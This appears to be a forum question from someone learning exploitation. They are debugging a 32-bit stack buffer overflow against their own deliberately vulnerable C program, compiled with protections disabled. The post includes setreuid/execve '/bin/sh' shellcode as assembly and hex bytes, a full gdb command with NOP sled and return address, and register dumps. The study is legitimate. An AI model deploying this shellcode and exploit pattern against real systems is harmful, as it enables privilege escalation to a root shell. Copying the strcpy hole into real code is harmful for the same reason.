I've written a vulnerable program (below) and some shellcode (also below) to use in a buffer overflow exploit. I've had the same problems as in this link, and solved those using the answers there (-z execstack, -fno-stack-protector). I'm now having a problem alluded to in a comment.
I overwrite the return address such that it points to the middle of a NOP-sled (to "\x38\xcf\xff\xff", little-endian, found using x/500x $esp-500 in gdb). The program (command at very bottom) then gives a segmentation fault:
0xffffa0e8 in ?? ()
(gdb) info register
eax 0xfffffffc -4
ecx 0xffffd070 -12176
edx 0x0 0
ebx 0xffffd074 -12172
esp 0xffffd06c 0xffffd06c
ebp 0x2368732f 0x2368732f
esi 0x0 0
edi 0x0 0
eip 0xffffa0e8 0xffffa0e8
eflags 0x10246 [ PF ZF IF RF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
(gdb)
The rightmost byte of the return address is not what it should be (eip should read 0xffffcf38). If I change the return address to nonsense, say, "0xffffdddd", I get:
Program received signal SIGSEGV, Segmentation fault.
0xffffddfd in ?? ()
almost as expected - a "d" has changed to an "f"! A return address of "0x42424242" works as expected: segfault, 0x42424242 in ?? ()
So: the expected behaviour is to start /bin/bash. The actual behaviour is to give a segmentation fault, giving as a return address something other than the address I'm trying to overwrite the EIP with. The question is: why does this happen, and how can I stop it?
The vulnerable program:
#include <stdio.h>
#include <string.h>
int main(int argc, char** argv) {
char buffer[500];
strcpy(buffer, argv[1]);
return 0;
}
Compiled with:
gcc -g -m32 -fno-stack-protector -z execstack -o ./vuln ./vuln.c
The shellcode (from or largely from here) in assembly:
BITS 32
; setreuid(0, 0)
xor eax, eax
mov al, 70
xor ebx, ebx
xor ecx, ecx
int 0x80
jmp short two
one:
pop ebx
;execve("/bin/sh", ["/bin/sh", NULL], NULL)
xor eax, eax
mov byte [ebx+7], al
push eax
push ebx
mov ecx, esp
xor edx, edx
int 0x80
two:
call one
db "/bin/sh#"
Assembly is compiled with:
nasm -bin -o shellcode shellcode.asm
The attack is run in gdb, using the commands:
gdb vuln
and
run $(python -c 'print "\x90" * 473 + "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x0e\x5b\x31\xc0\x88\x43\x07\x50\x53\x89\xe1\x31\xd2\xcd\x80\xe8\xed\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23" + "\x38\xcf\xff\xff"')
The system is Linux Mint 17.1 64-bit, running in VirtualBox.